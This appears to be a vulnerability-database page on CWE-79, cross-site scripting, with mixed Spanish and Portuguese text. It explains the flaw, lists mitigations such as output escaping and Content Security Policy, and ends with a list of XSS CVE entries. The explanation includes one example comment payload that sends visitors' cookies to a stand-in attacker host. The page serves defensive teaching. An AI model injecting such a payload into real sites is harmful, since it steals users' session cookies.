Fallos del tipo CWE-79

29.055 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66921HIGHA Cross-site scripting (XSS) vulnerability in Create/Update Item(s) Module in Open Source Point of Sale v3.4.1 allows remote attackers to inEPSS 0.6%CVE-2021-1156MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2023-0709MEDIUMMetform Elementor Contact Form Builder <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via mf_last_name shortcodeEPSS 0.6%CVE-2023-2223—Login Rebuilder < 2.8.1 - Admin+ Stored XSSEPSS 0.6%CVE-2023-2753HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.6%CVE-2024-2270MEDIUMkeerti1924 Online-Book-Store-Website signup.php cross site scriptingEPSS 0.6%CVE-2021-1157MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2023-51254MEDIUMCross Site Scripting vulnerability in Jfinalcms v.5.0.0 allows a remote attacker to execute arbitrary code via a crafted script to the frienEPSS 0.6%CVE-2021-1155MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2026-4637MEDIUMReflected Cross-Site Scripting via URL Path in Paessler PRTG Network MonitorEPSS 0.6%CVE-2021-1154MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2020-15221MEDIUMXSS in the breadcrumbsEPSS 0.6%CVE-2025-66923HIGHA Cross-site scripting (XSS) vulnerability in Create/Update Customer(s) in Open Source Point of Sale v3.4.1 allows remote attackers to injecEPSS 0.6%CVE-2023-5664MEDIUMGarden Gnome Package <= 2.2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2021-1153MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2024-3728MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via Filterable Gallery & Interactive CircleEPSS 0.6%CVE-2023-42656MEDIUMMOVEit Transfer Reflected XSSEPSS 0.6%CVE-2023-4471MEDIUMOrder Tracking Pro <= 3.3.6 - Reflected Cross-Site ScriptingEPSS 0.6%CVE-2026-42455HIGHLinkWarden: Stored XSS via Client-Side Archive Upload (Unsanitized HTML served from same origin)EPSS 0.6%CVE-2022-37430MEDIUMSilverstripe silverstripe/framework through 4.11 allows XSS vulnerability via href attribute of a link (issue 2 of 2).EPSS 0.6%